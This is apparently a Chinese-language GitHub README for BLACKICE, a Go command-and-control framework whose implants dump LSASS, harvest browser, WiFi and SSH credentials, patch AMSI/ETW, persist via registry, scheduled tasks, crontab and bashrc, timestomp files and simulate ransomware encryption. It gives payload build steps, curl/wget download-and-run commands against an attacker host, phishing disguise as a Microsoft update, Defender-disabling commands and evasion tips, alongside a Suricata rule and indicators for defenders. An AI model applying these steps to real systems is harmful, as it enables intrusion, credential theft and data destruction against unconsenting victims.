ConstantineCTF/BLACKICE

GitHub: ConstantineCTF/BLACKICE

一款使用 Go 编写的跨平台命令与控制(C2)红队框架,用于授权渗透测试与安全研究。

Stars: 0 | Forks: 0

# BLACKICE - 跨平台红队框架 ``` ██████╗ ██╗ █████╗ ██████╗██╗ ██╗██╗ ██████╗███████╗ ██╔══██╗██║ ██╔══██╗██╔════╝██║ ██╔╝██║██╔════╝██╔════╝ ██████╔╝██║ ███████║██║ █████╔╝ ██║██║ █████╗ ██╔══██╗██║ ██╔══██║██║ ██╔═██╗ ██║██║ ██╔══╝ ██████╔╝███████╗██║ ██║╚██████╗██║ ██╗██║╚██████╗███████╗ ╚═════╝ ╚══════╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═════╝╚══════╝ Black Intrusion Countermeasures Electronics Advanced Command & Control Framework ``` ## 法律免责声明 **仅供授权使用** 本框架执行进攻性安全操作,包括凭证提取、防御规避、持久化机制和数据加密。未经授权的使用将构成违反 18 U.S.C. § 1030(计算机欺诈和滥用法)的联邦犯罪,最高可判处 10 年监禁和 250,000 美元罚款。 **必需的授权:** - 所有目标系统所有者的书面许可 - 隔离的实验室环境(推荐使用虚拟机) - 有效的安全研究活动或机构批准 **使用此工具即表示您承担全部法律责任** ## 目录 1. [概述](#overview) 2. [架构](#architecture) 3. [安装说明](#installation) 4. [快速开始](#quick-start) 5. [Payload 生成](#payload-generation) 6. [网络配置](#network-configuration) 7. [功能](#features) 8. [配置](#configuration) 9. [检测与规避](#detection--evasion) 10. [故障排除](#troubleshooting) ## 概述 BLACKICE 是一个跨平台的命令与控制(C2)框架,使用 Go 编写,用于进攻性安全操作。专为受控环境下的红队演练、紫队演习和安全研究而设计。 ### 核心能力 **Windows Implant (1800+ 行)** - LSASS 内存转储(凭证提取) - 浏览器凭证收集(Chrome、Edge、Firefox) - WiFi 密码提取 - AMSI/ETW 运行时补丁(防御规避) - 注册表和计划任务持久化 - 文件加密模拟(勒索软件测试) - 隐藏执行(无控制台窗口) **Linux Implant (1900+ 行)** - SSH 私钥收集 - Bash 历史记录收集 - 网络侦察 - Crontab/bashrc/profile 持久化机制 - 文件时间戳篡改(反取证) - 后台守护进程执行 - 环境变量提取 **C2 Server** - 基于 HTTP 的 beacon 接收器 - 实时会话监控 - Web 仪表盘界面 - 多平台 implant 支持 - 凭证聚合 ## 架构 ``` ┌─────────────────────────────────────────────────────────────┐ │ C2 SERVER (Your Machine) │ │ ┌──────────────────────────────────────────────────────┐ │ │ │ HTTP Server (Port 8443) │ │ │ │ - /beacon (Implant check-in endpoint) │ │ │ │ - /sessions (Web dashboard) │ │ │ └──────────────────────────────────────────────────────┘ │ └─────────────────────────────────────────────────────────────┘ ▲ │ HTTP POST (JSON) │ Beacon Interval: 60s │ ┌───────────────────┴───────────────────┐ │ │ ┌───────▼─────────┐ ┌────────▼────────┐ │ WINDOWS TARGET │ │ LINUX TARGET │ │ ┌────────────┐ │ │ ┌────────────┐ │ │ │ Implant.exe│ │ │ │ payload │ │ │ └────────────┘ │ │ └────────────┘ │ │ • Encrypted IP │ │ • Encrypted IP │ │ • Timestomped │ │ • Timestomped │ │ • Persistence │ │ • Persistence │ └─────────────────┘ └─────────────────┘ ``` ### 数据流 ``` [1] INITIAL CHECK-IN Implant → C2: {"type":"checkin", "session_id":"...", "hostname":"..."} C2 Response: 200 OK [2] RECONNAISSANCE Implant → C2: {"type":"recon", "data":{"os":"windows", "kernel":"..."}} [3] CREDENTIAL HARVESTING Implant → C2: {"type":"credentials", "data":{"wifi":[...], "browsers":[...]}} [4] HEARTBEAT (Every 60s) Implant → C2: {"type":"heartbeat", "beacon_count": 42} ``` ## 安装说明 ### 前置条件 **软件** - Go 1.19 或更高版本 - Windows 10/11 或 Linux(开发机器) - PowerShell 5.1+(用于构建脚本) **Go 依赖** ``` go get golang.org/x/sys/windows # Windows API bindings ``` ### 设置 ``` # 克隆或下载 repository cd /path/to/BLACKICE # 验证 Go 安装 go version # 构建 C2 server cd server go build -o ..\payloads\server\blackice-server.exe blackice-server.go # Server binary 现位于:payloads\server\blackice-server.exe ``` ## 快速开始 ### 本地测试(同一台机器) **终端 1:启动 C2 Server** ``` cd payloads\server .\blackice-server.exe ``` **输出:** ``` ╔════════════════════════════════════════════════════════════════╗ ║ BLACKICE C2 SERVER - ONLINE ║ ╚════════════════════════════════════════════════════════════════╝ [+] Platform: windows/amd64 [+] Listening: 0.0.0.0:8443 [+] Local IP: 192.168.1.10 [+] Dashboard: http://192.168.1.10:8443/sessions [*] Awaiting implant connections... ``` **终端 2:构建并执行 Windows Payload** ``` cd tools .\build-windows.bat # 提示:C2 Server IP:127.0.0.1 # 输出:payloads\implants\payload.exe cd ..\payloads\implants .\payload.exe ``` **终端 1 输出:** ``` [+] NEW IMPLANT [WIN] ID: a3f5b8c2d9e1f4a7 OS: windows amd64 Host: DESKTOP-ABC123 User: Administrator IP: 127.0.0.1:52341 [RECON] [WIN] a3f5b8c2 | System enumeration complete [CREDS] [WIN] a3f5b8c2 | WiFi passwords harvested: 3 [BEACON] [WIN] a3f5b8c2 | Count: 1 ``` **终端 3:访问仪表盘** ``` start http://localhost:8443/sessions ``` 仪表盘显示: - 会话 ID(已截断) - 操作系统指示符(WIN/LIN) - 主机名 - 用户名 - 最后一次 beacon 时间戳 - Beacon 总数 ## Payload 生成 ### Windows Payload ``` cd tools .\build-windows.bat ``` **交互式提示:** ``` ════════════════════════════════════════════════ BLACKICE WINDOWS PAYLOAD BUILDER ════════════════════════════════════════════════ C2 Server IP: 192.168.1.10 [+] Building for 192.168.1.10:8443... Encrypted! ════════════════════════════════════════════════ SUCCESS! ════════════════════════════════════════════════ File: payloads\implants\payload.exe Deploy: Just double-click on target ``` **构建过程:** 1. IP 地址使用 XOR 密码加密(密钥:0xC3) 2. 加密值通过 `-ldflags -X` 嵌入 3. 编译二进制文件并剥离符号(`-s -w`) 4. 启用 GUI 模式(`-H windowsgui`)- 无控制台窗口 5. 输出:单个独立可执行文件 ### Linux Payload ``` cd tools .\build-linux.bat ``` **交互式提示:** ``` ════════════════════════════════════════════════ BLACKICE LINUX PAYLOAD BUILDER ════════════════════════════════════════════════ C2 Server IP: 192.168.1.10 [+] Building for 192.168.1.10:8443... Encrypted! ════════════════════════════════════════════════ SUCCESS! ════════════════════════════════════════════════ File: payloads\implants\payload Deploy: chmod +x payload && ./payload ``` **构建过程:** 1. 交叉编译 linux/amd64 架构 2. IP 加密方式与 Windows 相同 3. 编译二进制文件并剥离符号 4. 输出:ELF64 可执行文件 ### 部署 **选项 1:HTTP Server(推荐)** ``` # 终端 1:提供 payloads 服务 cd payloads\implants go run serve.go # 输出:Server running on http://0.0.0.0:8000 # 在目标机器上 curl http://192.168.1.10:8000/payload.exe -o payload.exe payload.exe # 在目标机器上 wget http://192.168.1.10:8000/payload chmod +x payload ./payload ``` **选项 2:USB 驱动器** ``` # 复制到 USB copy payloads\implants\payload.exe E:\ # 在目标机器上 E:\payload.exe ``` **选项 3:钓鱼模拟** ``` # 重命名为看似合法的文件名 ren payload.exe "Microsoft_Security_Update_KB5034441.exe" # 作为电子邮件附件发送(仅限授权测试) ``` ## 网络配置 ### 场景 1:同一子网(LAN) ``` Network: 192.168.1.0/24 Attacker Machine: 192.168.1.10 Target Machine: 192.168.1.50 ``` **配置:** ``` C2 Server IP: 192.168.1.10 ``` **验证:** ``` # 在目标机器上 ping 192.168.1.10 curl http://192.168.1.10:8443/ ``` ### 场景 2:VMware NAT(隔离实验室) ``` Host Machine: 192.168.1.10 (physical) VMware Gateway: 192.168.80.1 (virtual adapter) Guest VM: 192.168.80.128 (NAT network) ``` **识别网关 IP:** ``` # 在主机上 ipconfig | findstr "VMware" # 输出: Ethernet adapter VMware Network Adapter VMnet8: IPv4 Address: 192.168.80.1 ← USE THIS ``` **配置:** ``` C2 Server IP: 192.168.80.1 (NOT 192.168.1.10!) ``` **从 VM 验证:** ``` ping 192.168.80.1 curl http://192.168.80.1:8443/ # 应返回:BLACKICE C2 Server - Online ``` ### 场景 3:桥接网络(类似生产环境) ``` Router: 192.168.1.1 ├── Host: 192.168.1.10 └── VM: 192.168.1.150 (bridged) ``` **VMware 配置:** ``` VM → Settings → Network Adapter → Bridged ``` **配置:** ``` C2 Server IP: 192.168.1.10 ``` VM 从与主机相同的 DHCP 池中获取 IP。两个系统在网络中显示为独立的设备。 ### 场景 4:互联网(授权的测试活动) ``` Attacker (Public): 203.0.113.50 Router NAT: Port 8443 → 192.168.1.10:8443 Target (Remote): Any location ``` **路由器配置:** ``` Port Forwarding Rule: External Port: 8443 Internal IP: 192.168.1.10 Internal Port: 8443 Protocol: TCP ``` **查找公网 IP:** ``` curl ifconfig.me # 输出:203.0.113.50 ``` **配置:** ``` C2 Server IP: 203.0.113.50 ``` **安全注意事项:** - 在 C2 server 上实施身份验证 - 使用 TLS/HTTPS 而不是 HTTP - 监控所有传入连接 - 使用 VPS 而不是家庭 IP 以确保操作安全 ## 功能 ### Windows Implant 能力 | 功能 | 技术 | MITRE ATT&CK | 描述 | |---------|-----------|--------------|-------------| | **WiFi 密码** | `netsh wlan show profiles` | T1552.001 | 提取已保存的无线凭证 | | **浏览器凭证** | DPAPI 解密 | T1555.003 | 定位 Chrome/Edge/Firefox 数据库 | | **LSASS 转储** | MiniDumpWriteDump | T1003.001 | 从内存中提取凭证材料 | | **AMSI 绕过** | 内存补丁 | T1562.001 | 禁用 Windows 反恶意软件扫描接口 | | **ETW 规避** | 内存补丁 | T1562.001 | 致盲 Windows 事件跟踪 | | **注册表持久化** | Run 键修改 | T1547.001 | HKCU\Software\Microsoft\Windows\CurrentVersion\Run | | **计划任务** | schtasks.exe | T1053.005 | 任务在用户登录时触发 | | **文件加密** | AES-256-GCM | T1486 | 带恢复密钥的勒索软件模拟 | | **时间戳篡改** | SetFileTime API | T1070.006 | 修改文件 MACB 时间戳 | ### Linux Implant 能力 | 功能 | 技术 | MITRE ATT&CK | 描述 | |---------|-----------|--------------|-------------| | **SSH 密钥收集** | ~/.ssh/ 枚举 | T1552.004 | 提取私钥(id_rsa、id_ed25519) | | **Bash 历史记录** | ~/.bash_history | T1552.003 | 收集命令历史记录 | | **Crontab 持久化** | @reboot 指令 | T1053.003 | 在系统重启后存活 | | **Bashrc 持久化** | ~/.bashrc 修改 | T1546.004 | 在 shell 初始化时执行 | | **守护进程化** | Fork 并脱离 | T1564.003 | 后台执行 | | **时间戳篡改** | utimes() 系统调用 | T1070.006 | 将文件时间戳设置为 2018 年 | | **网络侦察** | ip/ifconfig 解析 | T1016 | 接口和 IP 枚举 | | **已知主机** | ~/.ssh/known_hosts | T1087.001 | 识别横向移动目标 | ### C2 Server 功能 - HTTP beacon 接收器(端口 8443) - 基于 JSON 的协议 - 会话状态管理 - Web 仪表盘(自动刷新) - 多 implant 支持 - 记录到磁盘 ## 配置 ### 加密方案 ``` Original IP: 192.168.1.10 XOR Key: 0xC3 Encrypted: f2faf1edf2f5fbedf2f6f3edf2 Embedded in binary via: -ldflags "-X main.ENCRYPTED_C2_SERVER=f2faf1edf2f5fbedf2f6f3edf2" Runtime decryption: for each byte: plaintext = encrypted XOR 0xC3 ``` **优点:** - 字符串部分没有硬编码 IP - 对静态分析进行基本混淆 - 单一可执行文件部署(无配置文件) **局限性:** - 密钥已知时很容易被逆向 - 不适合对抗意志坚定的对手 - 生产环境请使用域前置或 DNS 隧道 ### 构建标志解释 ``` GOOS=windows GOARCH=amd64 go build \ -ldflags "-s -w -H windowsgui \ -X main.ENCRYPTED_C2_SERVER=... \ -X main.ENCRYPTED_C2_PORT=..." \ -o payload.exe implant.go ``` | 标志 | 目的 | 结果 | |------|---------|--------| | `-s` | 剥离符号表 | 更小的二进制文件,更难被逆向 | | `-w` | 剥离 DWARF 调试信息 | 更小的二进制文件,无源码映射 | | `-H windowsgui` | 设置 Windows 子系统 | 不显示控制台窗口 | | `-X main.VAR=value` | 设置字符串变量 | 在编译时嵌入配置 | **最终大小:** - Windows implant:~6MB(包含所有依赖项) - Linux implant:~6MB - C2 server:~8MB ## 检测与规避 ### 防御者如何检测 BLACKICE **网络特征:** ``` Periodic HTTP POST to /beacon endpoint User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Content-Type: application/json Body contains: "session_id", "beacon_count", "type":"heartbeat" ``` **Suricata 规则:** ``` alert http any any -> any any ( msg:"BLACKICE C2 Beacon Detected"; flow:established,to_server; content:"POST"; http_method; content: "/beacon"; http_uri; content:"session_id"; http_client_body; content:"application/json"; http_header; sid:9000001; rev:1; ) ``` **基于主机的指标 (Windows):** - 注册表项:`HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WindowsSecurityUpdate` - 计划任务:`MicrosoftEdgeUpdateCore` - 文件位置:`%APPDATA%\Microsoft\Windows\svchost.exe` - 文件时间戳:2015-07-29(Windows 10 发布日期) - LSASS 访问:事件 ID 10 (Sysmon) - 网络连接:事件 ID 3 (Sysmon) 连接到端口 8443 **基于主机的指标:** - 文件:`~/.config/.systemd-daemon` - 文件时间戳:2018-04-26(Ubuntu 18.04 发布日期) - Crontab 条目:`@reboot /home/user/.config/.systemd-daemon` - Bashrc 修改:隐藏二进制文件的后台执行 - 进程名:`.systemd-daemon`(前导点 = 隐藏) **EDR 检测:** - 行为分析:异常进程访问 LSASS - 内存扫描:AMSI/ETW 补丁检测 - 进程镂空:CreateRemoteThread 检测 - 注册表监控:Run 键修改警报 ### 已实现的规避技术 **反取证:** - 时间戳篡改(修改 MACB 时间戳) - 看似合法的文件名(`svchost.exe`、`.systemd-daemon`) - 看似合法的注册表项(`WindowsSecurityUpdate`) - 自动清理(操作后删除痕迹) **防御规避:** - AMSI 补丁(绕过 Windows Defender 脚本扫描) - ETW 致盲(规避 Sysmon/安全事件日志记录) - 无控制台窗口(在 Windows 上不可见执行) - 守护进程化(在 Linux 上与父进程脱离) **混淆:** - XOR 加密的 C2 配置 - 剥离的二进制文件(无符号/调试信息) - 最小化硬编码字符串 **操作安全:** - HTTP(而非 HTTPS)- 有意保持低调 - 标准 User-Agent 字符串(与合法流量融合) - 60 秒的 beacon 间隔(不过于频繁) ### 高级规避(未实现 - 未来工作) - **域前置:** 通过 CDN(Cloudflare、Azure)路由 C2 - **DNS 隧道:** 通过 DNS 查询而不是 HTTP 进行 beacon - **进程注入:** 从内存运行,无磁盘痕迹 - **Syscalls:** 直接调用 NTDLL 绕过 API 钩子 - **沙箱检测:** 检测 VM/分析环境并休眠 - **证书锁定:** 验证 C2 server 证书 - **可塑性 C2:** 自定义 HTTP beacon 格式以模拟合法流量 ## 故障排除 ### Implant 未连接 **症状:** C2 server 无活动,implant 静默退出 **诊断:** ``` # 1. 验证 C2 是否正在监听 netstat -an | findstr 8443 # 预期:TCP 0.0.0.0:8443 0.0.0.0:0 LISTENING # 2. 测试 HTTP endpoint curl http://192.168.1.10:8443/ # 预期:BLACKICE C2 Server - Online # 3. 检查 Windows Firewall netsh advfirewall firewall show rule name=all | findstr 8443 # 如果没有规则,则添加一条: netsh advfirewall firewall add rule name="BLACKICE" dir=in action=allow protocol=TCP localport=8443 ``` **常见原因:** - C2 IP 错误(implant 使用 192.168.1.10 构建,但 server 在 192.168.80.1 上) - 防火墙阻止了端口 8443 - 网络不可达(不同子网且无路由) - 杀毒软件杀死了 implant 进程 ### Windows Defender 阻止 Payload **症状:** `payload.exe` 创建后立即被删除 **变通方法(仅限实验室):** ``` # 为项目文件夹添加排除项 Add-MpPreference -ExclusionPath "C:\Projects\BLACKICE" # 临时禁用实时保护 Set-MpPreference -DisableRealtimeMonitoring $true ``` **生产环境规避:** - 混淆字符串使用编码而不是明文) - 对二进制文件加壳 - 使用系统调用代替 API 调用(绕过钩子) - 添加睡眠计时器(规避沙箱) - 使用有效证书对二进制文件进行签名 ### LSASS 转储失败 **错误:** `Failed to open LSASS process` **原因:** 权限不足 **解决方案:** ``` # 以 Administrator 身份运行 # 右键单击 → 以 Administrator 身份运行 # 验证权限 whoami /priv | findstr SeDebugPrivilege # 预期:SeDebugPrivilege Disabled # 如果已禁用,则需要 UAC 绕过(默认未实现) ``` ### Linux Payload 无输出 **预期行为:** Linux implant 守护进程化(在后台运行且无输出) **验证:** ``` # 检查进程是否正在运行 ps aux | grep systemd-daemon # 预期输出: # user 1234 ... /home/user/.config/.systemd-daemon # 检查是否已安装 persistence crontab -l | grep systemd # 预期输出: # @reboot /home/user/.config/.systemd-daemon >/dev/null 2>&1 # 监控网络连接 sudo netstat -antp | grep 8443 ``` ## MITRE ATT&CK 映射 ``` ┌──────────────────────────────────────────────────────────────┐ │ TACTIC TECHNIQUE ID │ ├──────────────────────────────────────────────────────────────┤ │ Reconnaissance System Information Discovery T1082 │ │ Credential Access OS Credential Dumping T1003 │ │ Credentials from Password T1555 │ │ Unsecured Credentials T1552 │ │ Defense Evasion Impair Defenses T1562 │ │ Indicator Removal on Host T1070 │ │ Hide Artifacts T1564 │ │ Persistence Boot/Logon Autostart Exec T1547 │ │ Scheduled Task/Job T1053 │ │ Event Triggered Execution T1546 │ │ Privilege Escalation Abuse Elevation Control T1548 │ │ Execution Process Injection T1055 │ │ Command & Control Application Layer Protocol T1071 │ │ Encrypted Channel T1573 │ │ Impact Data Encrypted for Impact T1486 │ └──────────────────────────────────────────────────────────────┘ ``` ## 对比矩阵 | 功能 | BLACKICE | Metasploit | Cobalt Strike | Sliver | Empire | |---------|----------|------------|---------------|--------|--------| | **语言** | Go | Ruby | Java | Go | Python | | **许可证** | 开源 | BSD | 商业 | GPL-3.0 | BSD | | **成本** | 免费 | 免费 | $3,500/年 | 免费 | 免费 | | **易用性** | 简单 | 中等 | 高级 | 中等 | 简单 | | **Windows** | ✓ | ✓ | ✓ | ✓ | ✓ | | **Linux** | ✓ | ✓ | ✓ | ✓ | 有限 | | **Web 仪表盘** | 基础 | 无 | 高级 | 高级 | 基础 | | **OPSEC 功能** | 基础 | 有限 | 高级 | 高级 | 中等 | | **学习曲线** | 低 | 中等 | 高 | 中等 | 低 | | **最适合** | 教育 | 漏洞利用 | 企业 | 现代 C2 | PowerShell | ## 项目结构 ``` BLACKICE/ │ ├── README.md This file │ ├── implants/ Payload source code │ ├── windows/ │ │ └── blackice-windows.go Windows implant (1800 lines) │ │ - LSASS dumping │ │ - AMSI/ETW patching │ │ - Registry persistence │ │ - WiFi/browser credentials │ │ │ └── linux/ │ └── blackice-linux-ultimate.go Linux implant (1900 lines) │ - SSH key harvesting │ - Crontab persistence │ - Daemonization │ - Network recon │ ├── server/ │ └── blackice-server.go C2 server (Go) │ - HTTP beacon receiver │ - Web dashboard │ - Session management │ ├── tools/ Build automation │ ├── build-windows.bat Windows payload builder │ ├── build-linux.bat Linux payload builder │ └── encrypt.ps1 IP encryption helper │ └── payloads/ Compiled binaries ├── implants/ │ ├── payload.exe Windows implant (generated) │ ├── payload Linux implant (generated) │ └── serve.go HTTP file server for deployment │ └── server/ ├── blackice-server.exe C2 server executable └── blackice_c2_server.log C2 activity log ``` ## 参考 **进攻性安全框架:** - Cobalt Strike - https://www.cobaltstrike.com/ - Sliver - https://github.com/BishopFox/sliver - Metasploit - https://www.metasploit.com/ - Empire - https://github.com/EmpireProject/Empire **MITRE ATT&CK:** - 框架 - https://attack.mitre.org/ - C2 矩阵 - https://www.thec2matrix.com/ **赛博朋克文学:** - Neuromancer(威廉·吉布森)- “Black ICE”的灵感来源 - Snow Crash(尼尔·斯蒂芬森) - Ghost in the Shell(士郎正宗) **Go 安全资源:** - 安全专业人士的 Golang - https://github.com/parsiya/Hacking-with-Go - 进攻性 Go - https://github.com/alexellis/offensive-go ## 致谢 本框架专为教育目的而构建,旨在理解进攻性安全技术。灵感来源于专业的 C2 框架和赛博朋克小说,在这些小说中,“Black ICE”代表了终极的防御性对抗措施。 **“在钢筋水泥的丛林中,Black ICE 致命。在实验室里,它是导师。”** **文件结束** ``` BLACKICE v1.0 Educational Red Team Framework Use Responsibly. Use Legally. Use Wisely. ```
标签:AI合规, C2框架, DNS 反向解析, 安全学习资源, 数据展示, 日志审计, 端点可见性, 红队, 网络信息收集